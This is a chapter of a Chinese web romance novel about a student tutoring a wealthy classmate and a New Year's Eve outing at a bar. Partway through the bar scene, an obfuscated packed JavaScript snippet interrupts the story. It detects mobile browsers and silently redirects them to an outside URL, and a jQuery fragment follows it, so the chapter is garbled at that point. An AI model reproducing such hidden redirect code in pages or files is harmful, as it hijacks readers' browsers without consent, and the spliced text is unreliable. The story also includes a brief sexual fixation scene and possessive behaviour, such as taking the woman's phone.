53.第五十三章

作品:《风花隔水来

    祝岁祯本来以为他会跟她约周日,但俞惟叙周日下午才跟她约周一见面。


    她看到消息的时候有点无语:这大兄弟周一下午才划重点吗?周三下午就要考试了呀,一天半的时间,他学得完一科吗?紧接着周四下午可就是第二门考试了。


    算了,人家未必在意成绩,临时突击一下,以他的聪明程度肯定挂不了。


    周一下午,祝岁祯午休过后去家属楼。


    俞惟叙原本担心祝岁祯不愿意来,给她提供了去教学楼或者图书馆的选项,但她更不想被同学看到后议论。


    两点钟,她准时按下他的门铃。


    穿着一套蓝白格子睡衣的俞惟叙打开门,笑着做出“请”的手势。


    “欢迎祝老师莅临寒舍,指导期末考试相关工作。”


    她进门:“俞总客气了。”


    “嚯!”她扫了眼目之所及的地方,“你这儿收拾得好干净啊,比我们宿舍强。”


    俞惟叙关上门:“今天周一,是家政阿姨来打扫卫生的日子。”


    他帮祝岁祯卸下书包,示意她外套挂在玄关旁边的衣架上。


    “其实昨天就想约你,但是屋子没收拾。”


    祝岁祯把羽绒服挂好,跟着他去了书房。


    这是她第二次进俞惟叙的书房,上次好像还是大一时他去牛津前。屋子的布局似乎变了,电脑桌挪了位置,屋子里多了个跑步机和几样健身器材。


    超大的电脑桌上摆着两个苹果的屏幕、苹果和外星人的笔电、两个真力时音响、一个机械键盘和一个鼠标,别的什么都没有,极客又简洁。


    俞惟叙给她拿水的时候,她见桌子前放了一新一旧两把人体工学椅,款式不同。她直接坐进旧的那款,拉开书包拿出课本。


    他进来看到她坐在自己常用的Herman Miller旧椅子上,眼神停滞了一瞬。


    俞惟叙上午让附近门店的人临时给他送过来一把观鱼的椅子,本来是想给祝岁祯用的。


    但现在祝岁祯坐在他常用的椅子上,这个场景似乎让他更满意。他喜欢她进入自己的私人空间、用自己的东西。


    然后他又去客厅了一趟,带进来一堆零食。


    祝岁祯目瞪口呆地看着桌面,椰子水、矿泉水、巴黎贝甜的小蛋糕、水果、薯片奶糖……原本极简的桌面变得跟杂货铺一样。


    “这……”


    俞惟叙把键鼠拿到一边:“够吗?你还喜欢什么零食?我现在下单。”


    “不用不用,太多了也。”


    “这才哪儿到哪儿,祝老师辛苦教我,我不能招待不周啊。”


    “呵呵。”她笑笑,“先看《金融监管学》吧?这门马上要考了。”


    俞惟叙伸手从旁边一个长得像猫爬架的书架上,找出崭新的课本。


    祝岁祯觉得他大概都没碰过。


    俞惟叙翻开书之后,到处找笔,祝岁祯无奈又把自己的笔给他。


    “开始了嗷。”祝岁祯看着他翻到跟自己一样的页面,转头指着自己的书,“第一章不用看,第二章圈一下金融监管的目标,应该会出多选题。”


    俞惟叙跟着她的指示,乖乖地画线。


    “嗯,然后是原则。”祝岁祯用笔尖戳了戳书上的位置。


    他继续画线。


    祝岁祯告诉他哪些必考、哪些大概会考,还给他讲了这些考点可能的出题形式、以及可能会和哪些考点联合出简答题。


    讲了几分钟,俞惟叙拿来矿泉水,打开瓶盖递给她。


    祝岁祯接过来,咕咚咕咚灌下去几口。


    又讲了几分钟,俞惟叙拿来椰子水打开给她,祝岁祯一边叭叭讲、一边喝。


    再过了几分钟,俞惟叙端过来盘子,让她吃水果。


    慢慢地,场面演变成祝岁祯的书在前面架着,俞惟叙自己对比着画重点;祝岁祯拿着小蛋糕,用勺子一口一口地吃着。


    一边看他翻页,一边在吃零食喝饮料的间隙腾出嘴巴,告诉他这个知识点要怎么出题。


    一门课讲完,祝岁祯居然把零食饮料和水果都扫荡了个七七八八。


    俞惟叙合上课本,长舒一口气,看向祝岁祯:“累了吧?歇歇。”


    祝岁祯觉得自己的嘴挺累的,不是讲课讲的,而是吃吃喝喝忙的。


    肚子也好饱,中午吃的饭还没消化,来他这里又干掉一堆零食。


    但是眼下,有个更麻烦的事。


    “呃,我东西先放你这里,回趟宿舍,马上就过来。”


    俞惟叙愣了愣:“怎么了?”


    祝岁祯揪了揪自己的毛衣:“我穿得太厚了,你屋子里的暖气比我们宿舍热,我回去换件衣服。”


    她想过把窗户开大点儿,但俞惟叙穿得挺薄的,只是一套衬衫厚度的睡衣,她也不好让人家房主开窗户穿外套啊,反客为主了。


    她说完就要起身出去,俞惟叙拉住她胳膊。


    “不用,你嫌热就换我的衣服吧,我给你找件干净的。”


    “啊?”祝岁祯呆在原地,不太好吧。


    他拉着她去对面卧室,打开灯。


    祝岁祯意识到这是人家男生的“闺房”,多少有点儿不好意思,往后退了退:“呃,不用了吧……”


    俞惟叙稍稍加了点儿力道,把她拉进卧室:“干嘛专门回去一趟,穿我的,你自己挑。”


    他的卧室并不大,双人床上很厚的蓝白格子床垫,样式和他的睡衣很像。床两边各一个白色床头柜,床对面一个斗柜、一盏造型挺机械朋克的落地灯,另外就是占据了一整面墙的大衣柜,别的就没了。


    打开衣柜门,他带着祝岁祯站在一排灰黑棕蓝的衣物前。


    “你想穿什么?衬衫?针织衫?卫衣?卫衣好像有点热了……”


    俞惟叙快速拨拉一件件柔顺又有垂感的衣服,和祝岁祯衣柜里一堆皱巴翘边的便宜货对比鲜明。


    她选不出来:“呃……随……随便……”


    这时,他的手停下了,拿出一件薄薄的冰灰色针织套头衫。


    “这件我好像没穿过……”他看了眼衣领的标签,笑道,“这个牌子记得吗?咱们在日本的时候,我买的他家的衣服。不过当时买的不是这件。”


    祝岁祯哪里记得住牌子,只知道超级贵。


    他把衣架取出来往床上一扔,捏着衣服两肩放在祝岁祯身前对比了一下。


    “嗯,不算很大,穿这件吧,你慢慢换,我出去。”


    祝岁祯还没反应过来,他动作极快地关上门消失了。


    那就……换吧……


    她又环顾了一圈屋子,总觉得在男生卧室里换衣服有点尴尬……于是走到门口,把灯给关掉,只借着厚重窗帘缝隙透出的一道日光脱掉毛衣。


    套上他的针织衫,祝岁祯不禁感叹了一下,果然贵的就是不一样啊,这个触感,是纯羊绒吧?和他送她的那条围巾很像,又薄又软,贴在皮肤上像羽毛一样。


    她之前还想着等工作挣钱了要自己买一件呢,现在提前体验到了。


    开灯出门,俞惟叙在书房坐着,听见动静转过头看她。


    “谢谢啦。”祝岁祯有点不好意思地说。


    他眼神里是毫不掩饰的满意,站起来走到她身边,伸出手帮她挽袖子。


    “不用谢,真的,甭跟我客气。”


    俞惟叙的声音低沉,却又给她一种轻飘飘的奇异感。屋子里就他俩,但他说这句话的音量却只够她听到。


    明明换完衣服后凉快了点,但一阵热意瞬间爬上了她的脸。


    我可以自己挽袖子的。祝岁祯想着。但手却乖乖地抬起,让他代劳。


    “嗯?这儿怎么了?”俞惟叙看到她白皙的手腕上有道红痕,细细的。


    他捏住她腕子,仔细瞧了瞧。


    “可能……是被书本的纸划了一下吧。”祝岁祯有点儿印象,当时这道划痕鼓起来了,但没破皮出血,她也就没当回事。


    俞惟叙的大拇指在划痕上轻轻摩挲了一下,小声说:“像被猫挠的。”


    明明只是很轻的触碰,但一股酥麻感像电流一样,瞬间从她脊梁掠至后脑勺。她狠狠皱了皱眉头,才忍下这从未有过的感觉。


    他却毫不知情,放下她这只手后又极自然地拿起她另只手,细致地捏着袖口往上叠。


    祝岁祯心里想:俞惟叙果然是个妖精。


    -.-


    接下来的时间,俞惟叙越来越不专心了。


    不是要给她买吃的,就是问她看不看电影,要么就是想把猫咪接过来让她玩……她无奈地一次次婉拒。


    她正看着书本讲:“管理资产池……”


    嗯?等下,旁边怎么没动静了?


    她抬眼一看,俞惟叙正扭着头看她,发呆。


    “啧,哎嗨!”她像老师一样严肃地看着跑神的学生。


    俞惟叙盯着她的侧脸,正在想入非非。窗外的光给她的侧脸勾了一层金边,挺拔的鼻尖和不断开合的嘴唇形成一道动态完美的曲线。


    听不见她说的什么,想亲。


    但是突然,眼前的侧脸变成了正脸,把他吓一跳。


    “我刚讲到哪里了?”祝老师冷冷地提问。


    他慌乱地往后翻了一页:“呃……组建特殊目的机构……哦不是……信用评级……吧?”


    “大哥,我都讲到这儿了!”她指了指他书上的位置。


    “啊?哦……sorry……”他尴尬地摸摸鼻子。


    祝岁祯想了想:“哎呀,算了,你该干嘛干嘛去吧。书拿过来我给你画,回头你自己慢慢看。”


    她嫌弃地挥了挥手,让他起开,然后把他手里的书拿到自己跟前,开始比照着自己的课本给他画线、圈考点。


    “别介,我该听还是得听。”俞惟叙接过她的书立在前面,充当人形自动翻书机,视线扫描到有画线、笔记的页面就停下。


    祝岁祯懒得管他,抬头看一眼书,低头“哗哗”画线,遇到特别重要的考点就给他画个五角星。


    俞惟叙无数次偷看她,祝岁祯也知道他在干什么,没理他,只低着头赶快完成任务,早些结束这种尴尬暧昧的状况。


    因为现在情况已经变了,她不敢保证自己跟他待得久了,会说出什么、做出什么迷失心智的言语举动。


    终于结束的时候,她觉得自己解脱了:“好啦!就这些,你慢慢看,我撤退了。”


    俞惟叙不舍地看她合上课本,按住她椅子扶手:“别走啊,吃个晚饭吧,到饭点儿了。”


    她收拾书包:“不了不了,我晚饭要和远文梦梦一起,她们没见着我一会儿就要发消息了。”


    “哎呀~祝岁祯~”他拉长尾音,无奈地请求。


    她忍着笑:“我真的要走啦,已经在你这里待很久了,也吃喝不少了。”


    他努力地按捺住蠢蠢欲动的手,决定继续保持绅士风度,他要向祝岁祯表明他有足够的耐心尊重她的意愿。


    之前犯的错可能还未完全弥补,他不能情不自禁地轻举妄动。


    毁掉来之不易的现状、前功尽弃都只在一念间,务必小心谨慎。


    他站起身:“我水果买得多,给你带点儿回去。”


    祝岁祯胡乱点点头:“谢谢,那个……我去换衣服……”


    她指了指卧室,俞惟叙明白,两人分头行动。


    祝岁祯进屋锁门,又关上灯,换回自己的衣服,拿着他的针织衫出来:“我拿回去洗洗再还你吧。”


    俞惟叙几步上前,用水果袋子换回衣服:“不用,给我吧,正好有换下来的衣服一起处理。”


    她也没多客气,穿上外套背上书包,一点儿也没客气地连吃带拿。


    俞惟叙站在门口,看她的眼神好像俩人要分别好几年似的:“我要是有不会的,给你发消息啊。”


    祝岁祯哼笑一声:“你还能有不会的?这不就是些背一背、记一记的东西,没什么难的。”


    他不好意思地抿了抿嘴:“万一呢?或者,跟你约个饭什么的……”


    祝岁祯做了个禁止的手势:“别了,没空哈,我有学习计划要完成,时间还是挺紧张的。”


    俞惟叙不能理解:“不是,你都大四了,也有工作了,考试随便水水就行,干嘛还花这么多时间在上面?”


    她耸了耸肩:“个人习惯,既然学了,就尽量考得好一点,万一以后有什么别的机会要用到成绩呢?不想临到头了留个败笔。而且我还有注会要学。”


    “哎哟……你这个卷王啊……别卷了……”俞惟叙扶着门框哀叹。


    祝岁祯见他穿的薄,不想让他继续站着受冻:“只是计划啦,万一哪天我心血来潮,请你吃饭也说不一定。”她提起水果袋子晃了晃,“谢谢你的水果,我回宿舍了,你赶快进屋吧别感冒了。”


    俞惟叙目送她下楼,祝岁祯拐过楼梯转角时抬头看了他一眼,笑着挥挥手,走了。


    -.-


    祝岁祯推开宿舍房间门,梦梦转头看到她手里的水果袋子,又转头回去继续剪视频:“我还想着你去哪儿了呢,原来是买水果。走吧,咱们去吃饭。”


    远文也从床上下来,三人去食堂。打完饭找座位的时候,碰到那个之前说要睡俞惟叙的学妹。


    学妹急忙端着餐盘跟她们凑一桌,上来就问了个炸裂的问题:


    “学姐们学姐们!我上次在健身房见到俞惟叙学长了!他说他有喜欢的女生正在追!!啊啊啊苍天呐你们知道是谁吗?!我还没追到我好不甘心啊!!!”


    祝岁祯顿了顿,装鸵鸟低头干饭。


    梦梦和远文也惊了!赶紧问祝岁祯,毕竟他俩同班。


    祝岁祯当然什么都不会说,只是无辜又心虚地摇摇头。


    小学妹说她从男生那边,艰难地打听到俞惟叙请高级私教的健身房,跑去蹲了他好几天终于偶遇,然后和学姐们大夸特夸俞惟叙的身材。


    如果能睡他一晚,倒贴钱都值了。


    梦梦和远文则绘声绘色地给学妹讲,去年圣诞节开帕加尼的上海富家千金来学校接俞惟叙,那场面有多震撼。


    学妹似乎是头一次听说这件事,表情失落,觉得俞学长追的肯定不是凡人,要不然怎么会连祝学姐这种大美人都没跟他发生点什么呢?


    祝岁祯差点儿被呛到,连忙说人家富二代身边不缺美女,肯定要看家世的。她家在小城市都很一般的,在藏龙卧虎的北京简直如同蝼蚁。


    学妹老神在在地断言:学姐你有这张脸,嫁大佬是迟早的事,静待缘分吧。


    祝岁祯:……


    而此时的俞惟叙,正倒在床上,拿着祝岁祯穿过的衣服深嗅,如痴如醉。


    有了,终于有了,她身上的味道。


    极浅淡的香气,氲氲地、脆弱地附着在纤维上,流连在纱线针脚间,和她一样,清清净净,忽近忽远,却勾得人发狂。


    他像只大型犬,努力辨认属于主人的气味,想象着祝岁祯在他身下宽衣解带……滔天的渴望让他恨不得撕碎手里的衣服。


    又难受又舒服地蹭着、混乱无章地喘着,火山喷发后是只增不减的迷恋。俞惟叙半阖着眼,失神恍惚地看向天花板。


    祝岁祯,总有一天,你会是我的。


    -.-


    俞惟叙让祝岁祯把学习计划表发给他,美其名曰:跟着祝老师学习如何规划时间。


    但祝岁祯才不信。


    果然,拿到计划表的第二天,他就开始卡着计划表上的休息时间,给她发消息。


    要么是想给她买东西、要么就是约她看演出、要么问她跨年夜去哪里玩。


    祝岁祯坏心顿起,准备把他当学习之余的消遣、手机里的电子宠物。


    他要给她买东西的时候,祝岁祯说她想要CPA的综合阶段合格证书。


    俞惟叙:……


    他要约她看演出的时候,祝岁祯说想看他和猫打架。


    俞惟叙:……


    他问她跨年夜去哪里玩的时候,祝岁祯说要和舍友们过girls'' night,俞惟叙想去的话,可以,先变性。


    俞惟叙:……


    当她终于大发慈悲,决定还是别把他玩坏了,反问他元旦有什么安排时……祝岁祯隔着屏幕都能感受到他的无奈。


    他得跟着爸妈去陪姥爷过节。


    祝岁祯拿着手机哈哈大笑。


    那就没办法喽~


    俞惟叙再想跟她聊些有的没的,祝岁祯灵机一动,化用网络上“某大厂PUA话术”,板起面孔教育他:


    【鱼仔同学,我对你有点失望,昨天给你划重点,是希望你能拼一把,快速复习起来的。你的水平,不是只通过考试就可以的。你要珍惜自己学霸的名誉,认真对待每一场考试,哪怕已经大四。这两天临近考试了,你看书了吗?看了多少呢?转化为自己的记忆了吗?考试时能触类旁通举一反三吗?你需要有自己的努力,而不是总给我发消息。后续,把你的时间沉淀到备考里,我希望看到你的成绩,而不仅仅是60分万岁。你投入的时间和其他同学相比,是有些单薄的,马上就要考试了,加把劲!】


    俞惟叙大为震撼。


    祝岁祯在宿舍笑得肚子都疼了。


    没想到吧?有朝一日,未来观鱼集团的大老板——俞总,也会被PUA?简直是牛马的大胜利。


    猫咪要趁小的时候欺负,霸总自然也要趁年轻的时候PUA。


    俞惟叙:【祝岁祯,你行,你真行,你给我等着,这三门出成绩后总分相加,咱俩比一比】


    祝岁祯:【比就比】


    俞惟叙:【敢赌吗?输的人无条件答应对方一件事】


    祝岁祯:【不敢】


    俞惟叙:【!!!】


    祝岁祯:【我比你笨,但不傻】


    俞惟叙:【你怕了】


    祝岁祯:【嗯呐】


    俞惟叙:【怕了就把那段屁话给我撤回】


    祝岁祯:【就不,略略略】


    俞惟叙:【祝岁祯!】


    祝岁祯:【哦!到时间了,我要继续学习,拜拜了您内~~~】


    俞惟叙:【你给我等着!】


    祝岁祯不回他了,他只会放狠话却无可奈何的样子,简直太有趣。


    哎呀,一不小心还是把电子宠物给玩坏了哈哈哈。


    周三金工小班考完试,俞惟叙和祝岁祯一起走,问她宿舍跨年夜怎么安排。


    小羊和大黄回家过,祝岁祯跟梦梦、远文想了挺多方案,但最后决定就在学校附近玩。


    梦梦最开始提议去香港看维港的跨年烟花秀,但因为有考试,非要去的话时间太赶了,遂放弃。


    周边沿海城市也没什么特别想去的。北京市区内的三里屯、蓝色港湾、798啊、首钢之类的,每年爆满,人太多了,也不是好选择。


    俞惟叙一听,来了兴趣:“在学校附近啊?带上我呗?我一个人挺无聊的。朋友们要么去外地了、要么和女朋友一起,再不然就是跟家里人待着。”


    祝岁祯问他:“你爸妈不在家吗?”


    他说:“我妈在公司加班熬夜,等财务结账看合并数据。我爸去陪着她,每年都这么过来的。”


    她点头:“哦……确实,财报的大数要出来了。”


    祝岁祯思绪飘回审计实习那阵子,每天睁眼闭眼都是1231的各科目数据,乱七八糟的调整事项……


    “但是……”祝岁祯想了想,打开手机。


    “怎么了?”俞惟叙帮她看路。


    她操作了一番,遗憾地“啊哦”一声。


    “我们的安排是这样的。”她掰着指头讲,“先在宿舍点外卖吃晚饭,然后去看电影,但是刚才查了下我们那场已经满了。最后去喝酒。”


    “喝酒?!你?!”俞惟叙难以相信。


    “哈哈,对啊,但梦梦说那家度数很低。”


    她觉得俞惟叙一个男生,大概不会想跟她们玩:“你要觉得太孤单,不然也去公司陪着你家大老板。”


    他无语望天:“饶了我吧,等财务结账那段时间她脾气巨差,净找我茬儿。还是让我爸来承受这一切吧。”


    祝岁祯偷笑。


    其实前些日子,她知道俞惟叙要陪他妈妈去杭州和另一家公司签合同,就一直关注着财经新闻。


    果然让她刷到了。


    照片上的关理之,完全是祝岁祯梦想中自己未来的样子。黑色卷发、身着一袭得体的职业套装、气场强大又美又飒、满脸写着“成功企业家”五个大字。


    但不管是照片还是报道,通篇没找到俞惟叙的影子。


    她不知道是因为他家太低调了,不想让继承人现在就抛头露面;还是像他所说,他妈妈总是很嫌弃他不够完美,所以没把他往前推。


    在她眼里,俞惟叙已经没什么可挑剔的了,但还能被他妈妈时不时嫌弃一下,可见那位关总的厉害,不愧是靠自己起家创立公司的大佬。


    所以现在祝岁祯陷入了一个俞惟叙不知道的怪圈:他越是抱怨他妈妈对他不满意,祝岁祯就越是崇拜他妈妈,甚至有点把关理之当偶像的趋势。


    她虽然查不到太多关于这位大佬的资料,但努力学习、努力工作长本事总是没错的,或许有朝一日能获得人家十分之一的成就。


    祝岁祯收回思绪,继续听俞惟叙说:“不然这样,你们去喝酒的时候叫上我,完事儿了我送你们回宿舍,大半夜的多不安全。”


    “唔……我回去问问舍友们。”祝岁祯觉得也挺好的,有他在,她们喝酒更放心些。


    回去后,舍友们不出她所料地非常愿意。有这么个超级大帅哥在旁边,只想多喝、装醉、吃他点儿豆腐……


    祝岁祯无奈地笑了笑,心想:男孩子出门在外要保护好自己……


    -.-


    周四,也就是今年的最后一天,下午考完试,祝岁祯和远文在宿舍洗衣服、大扫除,用干净整洁的面貌迎接新的一年。


    梦梦终于应付完考试,忙着剪视频赶在晚饭前发布。这是一个无广年度总结vlog,其中的访谈环节她让祝岁祯一起出镜,聊了聊学习、主持人大赛和实习的经验。


    三人正在吃外卖点的火锅,俞惟叙给祝岁祯发消息,说他看了梦梦刚发的视频,好多弹幕和评论都在说终于等到祝岁祯出镜。


    喜欢她的人玩起了花活,自称是她的狗、女儿、妈妈、老公、老婆……给俞惟叙笑得不行,说如果她来做自媒体,粉丝绝对比梦梦多好几倍。


    于是祝岁祯开玩笑说,哪天要是被裁员,没饭吃了就去擦一个。


    结果俞惟叙急了,紧追不放地发了好几条消息威胁她不准做,否则就算她躲在天涯海角,他也要把她揪出来关小黑屋。


    她看着那几条消息抿着嘴笑,又来了,鱼·管得真宽·仔,上线。


    吃完饭,三个人去五道口购物中心看电影,是个爆笑喜剧,祝岁祯看得连饮料都没顾上喝。三人出来后,接着往华清商务会馆走去,俞惟叙已经帮她们在店里占了四人座。


    进门,找人,但俞惟叙旁边站着个女孩。


    这时,他也看到她们仨进门,立刻向旁边的女生指了指三人,那女生跟俞惟叙说了什么后走开。


    “来了,坐吧。”俞惟叙往靠墙的位置挪了挪。


    远文拉着梦梦坐在俞惟叙对面,祝岁祯只好挨着他坐。


    梦梦看了眼那个女生的背影:“帅哥是不是被搭讪了?”


    俞惟叙点点头,漫不经心地指了指祝岁祯:


    “我说我女朋友来了。”


    “喔哟~~~”梦梦和远文兴奋地看他俩,“女~朋~友~”


    每个字都念得百转千回,祝岁祯无奈扶额。俞惟叙倒是含着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404407|198895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑,听得很顺耳。


    “你们不是要喝酒吗?点点点,快点!喝什么?”祝岁祯努力打岔。用僵硬的语气缓解尴尬和心虚。


    四个人挑了不一样的酒,服务员端着个托盘过来,四杯漂亮小甜水摆好之后,三个女生咔咔拍照。


    “干杯~~~~”


    祝岁祯这款跟另外三杯不太一样,带了一个星星装饰的吸管。她小小喝了一口,咂摸品尝。


    入口是甜爽的橘子味,还不错。酒精的余味留在口腔,有一点点攻击性。


    见到远文和梦梦互相换着喝,俞惟叙转头看向祝岁祯的杯子。


    “你这杯好喝吗?”他问。


    “还可以。”祝岁祯点点头。


    俞惟叙很自然地伸出手:“我尝尝。”


    祝岁祯迅速把杯子挪走:“不给。”


    俞惟叙惊了:“这么好喝吗?都不舍得让我尝尝。我的也给你尝,不白喝你的。”


    她依旧摇头。


    这是舍不舍得的问题吗?她可不想再让舍友们开玩笑。


    比如现在,对面两个舍友就在笑着看他俩。


    她突然觉得叫俞惟叙来是个错误,当时只考虑到回去有他在比较安全,忘了思考这一个多小时该怎么过。


    随后,俞惟叙问梦梦做自媒体的心得。那可太有得聊了,神奇事件超多,有跟平台的、有跟粉丝的、还有和金主爸爸的……


    俞惟叙很认真地在听,时不时提出问题、讲些他的想法。祝岁祯觉得他好像在取经,难道想把这些经验用在观鱼的营销上?


    接下来的话题转移到远文,她讲了自己保研准备、面试以及收到拟录取通知的一系列流程,中间夹杂着另外几个保研本校本专业同学的故事,四人聊着聊着,手里的酒都见底了。


    俞惟叙见状,说让她们继续点,今晚他买单。


    梦梦去吧台帮他们点单,远文去卫生间,祝岁祯见就剩她和俞惟叙了,也要跟远文一起走。


    “等等。”俞惟叙拉住她手腕,“卫生间只有一个,你等她回来再去。”


    “哦……”祝岁祯只好又坐下。


    俞惟叙却没松开手,借着桌面的遮挡,轻轻捏了捏她纤细的腕子。


    祝岁祯“啧”了一声:“别闹。”


    他得逞地笑了笑,问道:“你熬得了夜吗?”


    祝岁祯感觉还行,虽然平时这个时间已经睡了。她打了个哈欠:“其实我困了……但也还好吧,我能再熬一会儿。”


    俞惟叙用手背贴了下她的脸试温度:“不会是喝醉了吧?”


    她摆摆手:“没有,脑子很清醒,行动也正常。”


    梦梦回来坐下,俞惟叙对她说:“我转账给你。”


    “嘿嘿,好啊好啊,谢谢帅哥请客,祝你越来越帅~”


    远文也从卫生间出来了,祝岁祯起身接力。回来时路过一桌人,靠边的男生突然站起来拦住她。


    “嗨,你好,你也是附近学校的吗?”


    祝岁祯愣了下,点点头。


    男生长得帅帅高高,笑着说:“我是旁边T大的,你在哪里坐啊?我请你喝一杯吧?”


    祝岁祯摆摆手:“呃,不用了,谢谢。”说着就往自己那桌走去。


    男生见前面只有两桌,一桌没人,一桌坐着两个女生,背对着他的位置还有个人,被绿植挡着,大概也是女生。


    他跟着祝岁祯,在她身后解释:“我没有恶意,只是想认识一下,交个朋友……”


    祝岁祯脚步没停,转头对他说:“我不太喜欢认识校外的人,谢谢你。”


    梦梦和远文似乎瞥见了前面的状况,本来和俞惟叙正聊着,突然不说话了。


    那个男生继续跟着她:“你有男朋友吗?有也没关系,我可以……”


    祝岁祯快步走到位置处坐下。那男生话还没说完,突然和俞惟叙四目相对。


    俞惟叙眉眼一沉,伸手扣住祝岁祯的肩膀,轻轻一带就把人揽进怀里。


    祝岁祯瞪大了眼睛,浑身僵硬。


    俞惟叙不悦地抬头看那男生:“我是她男朋友,你说你可以干嘛?”


    那男生一看俞惟叙这通身的模样,就知道自己输得很彻底,尴尬地说:“没……没什么,抱歉……”


    一溜烟跑了。


    梦梦和远文立刻拿手机想拍下这对俊男美女搂搂抱抱的画面,可惜祝岁祯知道舍友的德性,立刻坐直了,没让她俩拍到。


    她和俞惟叙道了谢,心里却惊讶地发现,自己被搭讪时的第一反应居然是赶快回来找俞惟叙,让他帮忙挡一挡。


    “不谢,应该的。”他故意把后三个字念得重了些。


    梦梦放下手机,佯装不满:“鱼仔啊鱼仔,你说说你,怎么把我家祯祯的桃花给赶走了?刚才那人挺帅的。”


    俞惟叙把杯里剩的酒一饮而尽。


    “那算什么桃花,烂桃花。”


    梦梦无奈道:“哎呀,不能因为人家不如你,就这么说。你要是认识还不错的富二代朋友,给我家祯祯介绍介绍呗?”


    俞惟叙答应得爽快:“没问题,她男朋友就包在我身上。”


    祝岁祯扭头看对面墙上挂着的画,装作自己听不懂。


    可这一桌人,只有她听得懂。


    这时,梦梦帮忙点的酒到了,新饮上桌,旧杯撤下。


    祝岁祯面前这杯是蓝色的,像冰山下的深海。这次没有吸管,她端起来尝了一口,很清冽的味道,酒精味却比上杯大了些。


    貌似度数有点高了,她每次只抿一小口,不敢多喝,防止说些不该说的、出什么洋相。


    既然说起富二代了,梦梦让俞惟叙讲讲他的富二代朋友,以及在英国上学时遇到和听说的奇葩事。


    祝岁祯边喝边听,半杯下去,她觉得自己不能再喝了,好像有一点点微醺的意思了,毕竟她几乎不喝酒,没什么酒量和经验。


    俞惟叙注意到她没再动过那杯酒,不露痕迹地看了眼时间。


    还有十分钟。


    店里服务员给每桌送了小饼干当礼物,提前祝大家新年快乐。四人又聊了一会儿,到五十九的时候,同时拿出手机放在桌面上。


    十来秒后,唰~日期和时间的数字变了,年数增一,一月一日,万象更新。


    “来来来,让我们举起酒杯!”梦梦提议。


    其他桌也有在庆祝的,她们四人纷纷拿起杯子。


    “咱不整那些虚的,也不说什么场面话,干杯,敬自己!”梦梦干脆利落地说。


    “敬自己!”祝岁祯、俞惟叙和远文一起跟着她说。


    “新年快乐!干杯~~~~”


    玻璃杯叮叮当当地碰在一起,仿佛为新年敲钟。


    不管去年有多少酸甜苦辣、喜怒哀乐,此刻全都翻篇了!我们都有美好的未来!


    其他三人都干了,祝岁祯只敢抿一小口。


    “走吧?咱们回去吧?”远文问道。


    梦梦开心道:“走走走,爽了!”


    四人起身,穿衣服拿包。


    俞惟叙低声问她:“你这杯不好喝吗?”


    她说:“还行,只是我不太想喝了。”


    “我尝尝?”俞惟叙问。


    这次她没拒绝:“随便。”


    俞惟叙喝了一口:“这杯还不错啊,比我那杯好喝。”


    说完又喝了一大口。


    梦梦和远文鼓掌:“酒鬼转世。”


    祝岁祯却听到自己手机连响了三道提示音,她解锁,见有几个人在祝她新年快乐。


    她一边跟着舍友往门口走,一边低头一条条回复,从上往下,回复到第六条,也就是第一个卡点给她发消息的人,是何希簏。


    她犹豫了一秒,在想要不然等白天了再说。


    突然,她感觉不对。


    “不许回。”


    低沉的嗓音在耳边响起,带着些命令和吃醋的意味,她被吓了一跳。


    俞惟叙站在她身后,微弯着腰低着头看她的屏幕,下巴快放在她肩上了,


    她立刻锁屏,身子一闪。


    “干嘛……”


    俞惟叙直起身,眼神不善:“不准理他。”


    “要你管。”祝岁祯扭头往前走。


    俞惟叙盯着她背影,原地站了几秒钟,突然大步上前,弯腰从她手里把手机抽了出来,直接揣进自己大衣兜里。


    “你!……”祝岁祯看着自己空空如也的手。


    “嘘……”他食指抵在带着坏笑的唇边,又指了指前面舍友们的背影。


    她只好忍气吞声,装作无事接着往前走,跟上舍友。


    “啊……都在一层啊……”远文按下电梯按钮,然后转头看着三人,“等等吧。”


    “远文,你是不是喝醉了?”梦梦感觉她眼神不太对劲。


    “好像,有一点点……”远文摸了摸自己的脸,“我感觉我有点儿迷糊,但没关系,回宿舍没问题。”


    梦梦笑道:“我扶着你吧,你也是个不怎么喝酒的。”她转头看俞惟叙和祝岁祯,“鱼仔,祯祯就拜托你了,她几乎没喝过,一会儿别酒劲儿上来了。”


    “嗯。”俞惟叙点头,往祝岁祯身边走近了一步,挨着她。


    见梦梦满意地转头,前面两人都在看电梯数字,祝岁祯手心朝上伸了出来,无声抬眼看向俞惟叙。


    手机还我。


    莹白纤细的手指,掌心带着粉,俞惟叙笑了一下,把自己的手放了上去。


    祝岁祯无语地翻转手腕,把他的手拍掉,继续伸手要手机。


    这时,电梯“叮”地一声,俞惟叙看向前方:“哦,到了,走吧。”


    推着祝岁祯的腰,带她进电梯。


    电梯门关闭,他俩站在梦梦和远文前面,祝岁祯什么也做不了,只能干瞪眼。


    她的手机在俞惟叙的兜里,又响了两声。


    “嗯?谁的手机?”梦梦问。


    “我的。”俞惟叙接话。


    祝岁祯咬了咬牙,却什么都不能说。


    “哦……不看消息吗?”梦梦问。


    “不看了,我有任务在身。”


    “啊?什么任务?”


    他回答梦梦的问题,眼睛却看着祝岁祯:“你不是让我照顾祝岁祯吗?”


    “喔唷~”“天呐~”梦梦和远文又小小地激动了一下下。


    电梯打开,祝岁祯快步走了出去,大门外的十字路口空旷孤寂,几辆车在等信号灯,斜对面T大东南门的几栋写字楼还有些楼层亮着光。


    冷空气入侵她的头和脖子,祝岁祯觉得脑袋瓜子有点儿晕晕疼疼的。


    她赶紧停下脚步,想等这个难受劲儿过了再走,身后传来哀嚎。


    “啊……梦梦!救命!头疼!”远文抱住梦梦,也因为突然吹了冷风,难受地哼哼唧唧。


    俞惟叙立刻转头看祝岁祯,只见她紧皱着眉头闭着眼睛,一动也不敢动。


    “你也难受了吧?”


    他帮她把帽子戴上,又帮她把羽绒服拉链拉好,动作细致极了。


